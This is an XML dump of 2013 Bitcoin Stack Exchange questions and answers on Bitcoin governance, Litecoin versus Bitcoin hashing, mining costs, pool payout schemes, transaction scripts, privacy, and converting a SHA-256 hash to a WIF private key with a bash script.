  <row Id="8237" PostTypeId="2" ParentId="8236" CreationDate="2013-03-08T12:19:51.530" Score="9" Body="&lt;p&gt;At the moment in my opinion, Gavin does indeed control Bitcoin Project to some extent. He is widely recognised as the main developer behind it and could probably push his authority on a lot of subjects if he so desired. However, I am under the impression that he would not perform such actions - they would undermine the credibility of Bitcoin and be bad for everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He does appear to have a lot of influence over a lot of aspects of the Standard Client, the Protocol and overall behaviour exhibited by Bitcoin. He will most likely have the final say for example on the subject of block size limit. However, if he would change any more major aspect of Bitcoin that would undermine a lot of other people's work, say by changing the mining algorithm hard coded into the ASICs, it wouldn't be long before he would lose his position of authority and possibly create a hard fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to sum up, at the moment Gavin is de facto the person who controls Bitcoin on its most basic level, and he will most likely hold that position of authority only as long as he remains a &quot;benevolent tyrant&quot; so to speak.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2013-03-08T16:50:03.083" LastActivityDate="2013-03-08T16:50:03.083" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="8238" PostTypeId="2" ParentId="8236" CreationDate="2013-03-08T13:01:46.740" Score="2" Body="&lt;p&gt;These might be a little stale, but:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Development process:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Development_process&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Development_process&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Release process:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Release_process&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Release_process&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But bitcoin is controlled by the economic majority (those who will buy the coins that are issued after the new software is released):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Economic_majority&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Economic_majority&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-03-11T10:17:18.457" LastActivityDate="2013-03-11T10:17:18.457" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8239" PostTypeId="1" CreationDate="2013-03-08T17:26:27.310" Score="8" ViewCount="8482" Body="&lt;p&gt;The main differentiator between Litecoin and Bitcoin appears to be the quantity of coins available, the frequency in which the blocks are mined, and the mining technology is different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first benefit &quot;Quantity&quot; appears to be a subdivision of another arbitrary fixed value.  Since BTC is easily divisible, I don't see the the benefit of having more units that can also be subdivided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second benefit &quot;Frequency&quot; appears to create more blocks for the sake of creating blocks, and the safety zone of one 1 hour double spend attack has changed from 6 blocks BTC to 150 blocks Litecoin.  (no benefit) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what economic value does litecoin provide &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;During the high value mining period?  (high block reward)&lt;/li&gt;&#xA;&lt;li&gt;During the low value mining period? (low block reward)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In other words, it seems that the initial differences between BTC and Lightcoin deal with the block reward, but once that is used up (or too low of a value) there isn't much more that makes Lightcoin more exceptional than BTC.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-01-04T14:35:15.123" Title="What is the economic value of Litecoin? Is it simply a subdivision of BTC?" Tags="|litecoin|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8240" PostTypeId="2" ParentId="8239" CreationDate="2013-03-08T17:53:47.237" Score="8" Body="&lt;p&gt;The major difference between litecoin and bitcoin is the hashing function. Bitcoin uses &lt;strong&gt;SHA-256&lt;/strong&gt; while litecoin uses &lt;strong&gt;scrypt&lt;/strong&gt;. scrypt &quot;is designed to be far more secure against hardware brute-force attacks than alternative functions&quot;&lt;a href=&quot;http://www.tarsnap.com/scrypt.html&quot;&gt; [1]&lt;/a&gt;. By hardware brute-force attacks they basically mean ASICs such as the ones coming out of butterfly labs. For instance the advantage that GPUs have above CPUs when mining litecoins is much much smaller than the advantage they have for mining bitcoins. &lt;strong&gt;It may well be that at some point ASICs will be made for litecoin, but the creators of litecoin specifically chose the hash function to make that happen as far in the future as possible.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other differences are trivial, but it may be nicer to have confirmations come in faster. The only real difference to having blocks made faster will mean that transactions will sit at 0 confirmations for less time. However still the absolute number of confirmations a transaction is not what makes it safe, but rather the amount of computation that has gone into making those confirmations.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2013-03-08T17:53:47.237" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8241" PostTypeId="1" CreationDate="2013-03-08T18:14:04.110" Score="4" ViewCount="1367" Body="&lt;p&gt;I'm trying to understand the cost per hash operation with Litecoin vs Bitcoin over time.  The theory is that the network that has the best prospects for long-term security (via hashing) will set a standard that &lt;em&gt;may&lt;/em&gt; influence its own price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically I'd like to compare&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Capital outlays (reasonable mining hardware ASIC vs GPU)&lt;/li&gt;&#xA;&lt;li&gt;OPEX (Electrical, etc)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Suppose I were to compare BTC/Litecoin mining to ore mining.  Once the ore is extracted and purified, no more cost is needed other than to &lt;a href=&quot;http://en.wikipedia.org/wiki/United_States_Bullion_Depository&quot; rel=&quot;nofollow&quot;&gt;secure the facility where the gold is stored.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its clear the mining process is technology dependent (ASIC vs GPU).  What isn't clear to me is once the technology matures, what approach has a greater chance for long term efficiency for maintaining and securing the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that the scrypt -vs- sha256 implementations will have different power requirements, and I'd like to understand which one is &quot;greener&quot; for the environment in the long haul.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any information relating to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Cost of current mining rigs to power efficiency&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Cost of future mining rigs and projected efficiency &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Would be very interesting.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-02-21T10:34:06.470" LastActivityDate="2016-02-21T10:34:06.470" Title="What has a lower long term cost per hash: LTC, BTC or other alt coin?" Tags="|security|litecoin|mining-theory|energy-consumption|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8243" PostTypeId="1" CreationDate="2013-03-08T19:32:43.107" Score="2" ViewCount="5398" Body="&lt;p&gt;&lt;a href=&quot;https://forums.butterflylabs.com/bitcoin-pools/350-eclipse-mining-consortium-no-fee-pps-dgm-dwolla-sms-2fa-gbt-stratum-vardiff-4.html&quot; rel=&quot;nofollow&quot;&gt;According to this thread on BFL&lt;/a&gt;, BFL_Josh says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PPS may be a better bet for you if you don't like variance. However if you are mining for the long haul, DGM will pay out more but your variance will be higher.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I expect a few weeks of volatile (spiking or increasing difficulty) and I have sufficient Gh/s, what pool method is best suited for&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A steadily increasing difficulty&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A fluctuating or rapidly increasing (spiking) difficulty)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-02-21T10:34:30.627" LastActivityDate="2016-02-21T10:34:30.627" Title="Is PPS or DGM better for pooled mining when difficulty has a high &quot;beta&quot;" Tags="|mining-pools|difficulty|pool-payout-methods|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8245" PostTypeId="2" ParentId="8241" CreationDate="2013-03-08T23:29:08.077" Score="3" Body="&lt;p&gt;One of scrypt design goals was to make CPU and GPU performance balanced, which meant that it was far more dependent on memory speed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The GPU had a solid work around and as far as I know CPUs don't have any advantage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that did cause it basically impossible to do scrypt mining with an ASIC unless it has a ton of memory and memory channels added in, which is a huge design problem.  Unlikely unless GPU mining for scrypt is very profitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also makes Scrypt far more energy intensive for the same amount of useful hashing, but the network adapts as it requires far less hashes to solve problems (Difficulty number)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is greener? By far ASIC mining, it's power usage is tiny compared to performance, 4500MH for 4.5w vs 275MH for 100w.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But again, the network balances.  &lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2013-03-08T23:29:08.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8246" PostTypeId="2" ParentId="8239" CreationDate="2013-03-09T00:16:42.277" Score="1" Body="&lt;p&gt;One of Scrypts design goals was to make CPU mining and GPU mining equally effective.  They tried to do this through requiring lots of quick memory access, so the process ends up being more limited by memory bandwidth and response time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASIC and FGPA has not and will not solve the problem, because adding the amount of memory needed is a daunting design task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outside of Scrypt there is very little difference between BTC and LTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm honestly not sure why anyone even buys into LTC, where are the people using it?  Is Silk Road using LTC or is there some kind of LTC gambling?&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="196" LastEditDate="2013-05-21T20:54:35.253" LastActivityDate="2013-05-21T20:54:35.253" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8247" PostTypeId="1" AcceptedAnswerId="8249" CreationDate="2013-03-09T02:51:46.863" Score="17" ViewCount="32332" Body="&lt;p&gt;How can I take the output of sha256sum&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudofox@ubuntu:~$ echo -n 'Hi guys!' | sha256sum&#xA;7542fb6685f9fd8f37d56faf62f0bb4563684a51539e4b26f0840db361e0027c  -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and turn it into a Base58Check encoded private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to be able to do this with a list of SHA256 keys. Is there a script I can download, or must I spend a few weeks making it just so I can make my temporary addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In response to first comment: &#xA;No, I must input a string, like &quot;fluttershy&quot;, for example, into sha256sum and then I must encode the output of sha256sum into a base58check private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;string --&gt;sha256sum --&gt; some automagic process, which is the purpose of this question --&gt; bitcoin private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: For anyone wanting to use Grondilu's Bitcoin Bash Tools: You need to source the bitcoin.sh file after extracting it into your directory to use the functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;source ./bitcoin.sh&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 2 (Aug 2017): Rewrote script to go from step 1 to WIF in one go. You can just add the declaration of base58 and the encodeBase58 functions from bitcoin.sh if you want to skip the rest of the lib.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;#Tool to convert bitcoin privkeys into WIF keys&#xA;# by sudofox&#xA;&#xA;source ./bitcoin.sh&#xA;&#xA;KEY=$1 # first arg&#xA;&#xA;# add 0x80 to beginning&#xA;EXTENDEDKEY=$(echo 80$KEY)&#xA;FIRSTHASH=$(echo -n &quot;$EXTENDEDKEY&quot; |xxd -r -p |sha256sum -b|awk '{print $1}')&#xA;SECONDHASH=$(echo -n &quot;$FIRSTHASH&quot; |xxd -r -p |sha256sum -b|awk '{print $1}')&#xA;CHECKSUM=$(echo $SECONDHASH|cut -c1-8)&#xA;FINAL=$(encodeBase58 $EXTENDEDKEY$CHECKSUM)&#xA;echo $FINAL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The usage would be &lt;/p&gt;&#xA;&#xA;&lt;p&gt;./sha256_to_privkey.sh key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where in my example (see Stephen Gornick's answer), key would be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;807542FB6685F9FD8F37D56FAF62F0BB4563684A51539E4B26F0840DB361E0027CCD5C4A8E&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do the same thing for the various functions, modifying as needed. Hope this helps anyone struggling to use the tools.&lt;/p&gt;&#xA;" OwnerUserId="2915" LastEditorUserId="2915" LastEditDate="2017-08-22T16:45:35.340" LastActivityDate="2023-08-30T23:24:27.040" Title="How can I convert a SHA256 hash into a Bitcoin base58 private key?" Tags="|private-key|linux|sha256|base58|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8248" PostTypeId="2" ParentId="8235" CreationDate="2013-03-09T03:16:25.597" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the output script generated by my program?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;scriptPubKey refers to Public Key of? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Whoever you're sending the bitcoins to. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So, now, once the output script is formed, is it broadcast over the Bitcoin Network?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After it's signed, yes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Where does the Input Script come from?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is composed of two pieces - your public key, and a valid signature corresponding to that public key. So, you make it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the scriptSig in Input Script refers to the Public Key and Signature of whom?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When I am sending Bitcoins to a Bitcoin Address, the input Script is automatically generated by what?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your client, after looking at your wallet.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Even though the wiki gives details about Input Script and output Script, I was unable to correlate it to a real time scenario where one person sends BTC to another.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are two parts to a bitcoin transaction - the part where you prove that you own some bitcoins, and the part where you designate someone else to be able to prove they own some bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So, the Public Key in scriptPubKey differs from the Public Key in scriptSig?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;scriptPubKey is very poorly named, because when you're sending bitcoins to an address, you only know the 160-bit hash of the public key. A scriptPubKey looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 06f1b670791f9256bffc898f474271c22f4bb949 OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 06f1b6... is how your client specifies who it's sending to. The parts around it are scripts that tell the bitcoin client how to validate the transaction.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, we only have the Bitcoin Address of the person we intend to send the Bitcoins to. How do we get the Public Key of the recipient?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;We don't need to. We can tell the network the 160 bit hash, and the person you're sending to can show the public key to the network when they want to spend their bitcoins. &lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-03-09T07:41:07.633" LastActivityDate="2013-03-09T07:41:07.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8249" PostTypeId="2" ParentId="8247" CreationDate="2013-03-09T05:07:14.927" Score="19" Body="&lt;p&gt;What you are requesting is described as computing the Wallet Import Format for that private key:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Wallet_import_format&quot; rel=&quot;noreferrer&quot;&gt;http://en.bitcoin.it/wiki/Wallet_import_format&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Using your example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) Take a private key (Below is the HEX representation of binary value)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;7542FB6685F9FD8F37D56FAF62F0BB4563684A51539E4B26F0840DB361E0027C&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;2.) Add a 0x80 byte in front of it&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;807542FB6685F9FD8F37D56FAF62F0BB4563684A51539E4B26F0840DB361E0027C&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;3.) Perform SHA-256 hash on the extended key&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo -n '807542FB6685F9FD8F37D56FAF62F0BB4563684A51539E4B26F0840DB361E0027C' | xxd -r -p | sha256sum -b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;7DE4708EB23AB611371BB778FC0C8BDE80394AB2D8704D7129FB5771E2F1730D&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;4.) Perform SHA-256 hash on result of SHA-256 hash&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo -n '7DE4708EB23AB611371BB778FC0C8BDE80394AB2D8704D7129FB5771E2F1730D' | xxd -r -p | sha256sum -b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CD5C4A8E03DFBB0E3AA021C2D74A9EAA43CE4C9CB1B20FC88729A7A5834141CA&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;5.) Take the first 4 bytes of the second SHA-256 hash, this is the checksum&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CD5C4A8E&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;6.) Add the 4 checksum bytes from point 5 at the end of the extended key from point 2&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;807542FB6685F9FD8F37D56FAF62F0BB4563684A51539E4B26F0840DB361E0027CCD5C4A8E&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;7.) Convert the result from a byte string into Base58 to get it into the Base58Check format. This is also known as the Wallet Import Format&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Converted from point 6 to base58 using &lt;a href=&quot;https://bitcointools.appspot.com&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointools.appspot.com&lt;/a&gt;, or using encodeBase58 from &lt;a href=&quot;https://github.com/grondilu/bitcoin-bash-tools&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/grondilu/bitcoin-bash-tools&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;5JhvsapkHeHjy2FiUQYwXh1d74evuMd3rGcKGnifCdFR5G8e6nH&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="153" LastEditorUserId="2306" LastEditDate="2014-11-10T05:32:31.763" LastActivityDate="2014-11-10T05:32:31.763" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8250" PostTypeId="1" CreationDate="2013-03-09T06:41:56.260" Score="61" ViewCount="27151" Body="&lt;p&gt;Scenario: A is sending 1 BTC to B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;scriptSig&lt;/strong&gt; appears in the Input Script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptSig = &amp;lt;sig&amp;gt; &amp;lt;pubKey&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Here, public key is the Public Key of the sender, A. (this is the public key corresponding to his Bitcoin Address which has some unspent transaction).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What is the sig part of scriptSig?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;scriptPubKey&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptPubKey = OP_DUP OP_HASH160 &amp;lt;pubKeyHash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;pubKeyHash = Hash of the Public Key of Recipient (in our case, B).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The sender (A) only has the Bitcoin Address of the recipient (B), so how does he get the pubKeyHash from his Bitcoin Address?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, this is my understanding so far:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Input Script carries information about the &quot;previous transaction&quot; of the sender and points to the appropriate &quot;output&quot; part of &quot;previous transaction&quot; using an index. The output of the previous transaction is the total available balance for the sender (A) which can be claimed to send Bitcoins to the recipient (B).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This Input Script is also used to verify that the sender (A) is the actual owner of the Bitcoins held in the referenced output of previous transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Output Script tells us, how many bitcoins the Sender wants to Transfer to the Recipient and it also mentions the Bitcoin Address of recipient.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The public Key in scriptSig is different from the public Key in scriptPubKey?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How can the signed information of the Sender be verified by the recipient, if they don't share the same Public Key?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have tried understanding the example given on wiki which shows how the script is executed in a stack based manner but could not understand it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have some more questions, but I think I will ask them in a different question instead of putting it altogether here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3226" LastEditorUserId="1878" LastEditDate="2013-07-08T02:52:00.943" LastActivityDate="2020-08-25T15:29:26.113" Title="What is relation between scriptSig and scriptPubKey?" Tags="|transactions|protocol|script|public-key|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8251" PostTypeId="2" ParentId="8232" CreationDate="2013-03-09T09:12:36.663" Score="0" Body="&lt;p&gt;Correct me if I'm wrong with this example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cool jock, unbeknownst to anyone, actually likes wearing glittery t-shirts with unicorns on them when nobody is around.  He doesn't want anyone to know. He pays for t-shirt with bitcoins in his blockchain.info wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without using blockchain.info's Send Shared feature, someone could trace the transaction from the t-shirt store back to his wallet, embarrassing him to no end.  If he uses Send Shared, though, blockchain.info will first take the payment from him and put it in a box with a bunch of other payments getting ready to go out, shake the box, and then pull out a payment to give to the t-shirt store on his behalf.  Because this payment didn't originally come from Jock's wallet, it can't be traced back to him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: who does it get traced back to?  If I'm using blockchain.info too, and my payment to the video game store was in that box that got shaken-up, and it's the one that got pulled out and sent to the T-shirt store, can it get traced back to me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(sorry - it's the only example that popped into my head)&lt;/p&gt;&#xA;" OwnerUserId="3237" LastActivityDate="2013-03-09T09:12:36.663" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8252" PostTypeId="1" AcceptedAnswerId="8255" CreationDate="2013-03-09T15:53:55.287" Score="4" ViewCount="581" Body="&lt;p&gt;The blockchain has a lot of information about all bitcoin transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've heard a lot of conjecture about how anonymous bitcoins transactions are, but I haven't seen a scientific study.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any case studies that show how to track a bitcoin transaction to an individual person? I see IP addresses on blockchain.info so that information could be subpoenaed; on the other hand, you could use Tor which also has its documented weaknesses.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditDate="2013-03-09T16:43:51.870" LastActivityDate="2014-06-05T18:55:50.077" Title="Have there been case studies of how anonymous bitcoins are?" Tags="|transactions|blockchain|privacy|tor|proxy|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8253" PostTypeId="2" ParentId="8250" CreationDate="2013-03-09T18:22:32.737" Score="48" Body="&lt;p&gt;First of all two matching scripts are used in two different transactions, one that transfers funds to an address (Transaction &lt;strong&gt;A&lt;/strong&gt;) and one that spends those funds (Transaction &lt;strong&gt;B&lt;/strong&gt;). The &lt;code&gt;scriptPubKey&lt;/code&gt; is created by the user that creates Transaction &lt;strong&gt;A&lt;/strong&gt;. It basically adds a claiming condition to the output that is being created. A user may only claim and thus spend the bitcoins associated with the output if he can prove that he owns the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where Transaction &lt;strong&gt;B&lt;/strong&gt; and the &lt;code&gt;scriptSig&lt;/code&gt; comes into play. Assuming a user wants to send some funds somewhere. He creates a new transaction, and adds outputs to it until he has enough to cover the desired amount. Now he has to prove that he owns those outputs, which he does by providing the output that is needed to claim them, i.e., the public key matching the address and the signatures with the matching private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sender of Transaction &lt;strong&gt;A&lt;/strong&gt; does not yet know the public key, but does know a hash of the public key, because he knows the address he wants to send to. The address is nothing more than the &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot;&gt;hash of the public key&lt;/a&gt;. So the sender now knows all he needs to be able to send the funds to the receiver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the receiver wants to spend the funds again he provides the input to the &lt;code&gt;scriptPubKey&lt;/code&gt;. As you can see the &lt;code&gt;scriptPubKey&lt;/code&gt; consists of taking the public key that was pushed on the stack, duplicating it, hashing it and comparing it to the hash of the public key the output was destined for. If they match we still have both the signature and the public key on the stack, which are used by &lt;code&gt;OP_CHECKSIG&lt;/code&gt; to see whether the input had a valid signature attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take &lt;a href=&quot;http://blockchain.info/tx/7da0823ebf7a002a15b6bd11c676c6c213c349c982a9c454539e3ad63e9d57ee&quot;&gt;this transaction&lt;/a&gt; for example. It claims &lt;a href=&quot;http://blockchain.info/tx-index/59229030/0&quot;&gt;one output&lt;/a&gt;, by providing the public key and the matching signature. It then creates two new outputs and specifies the conditions for the next user to claim them.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-03-09T18:22:32.737" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
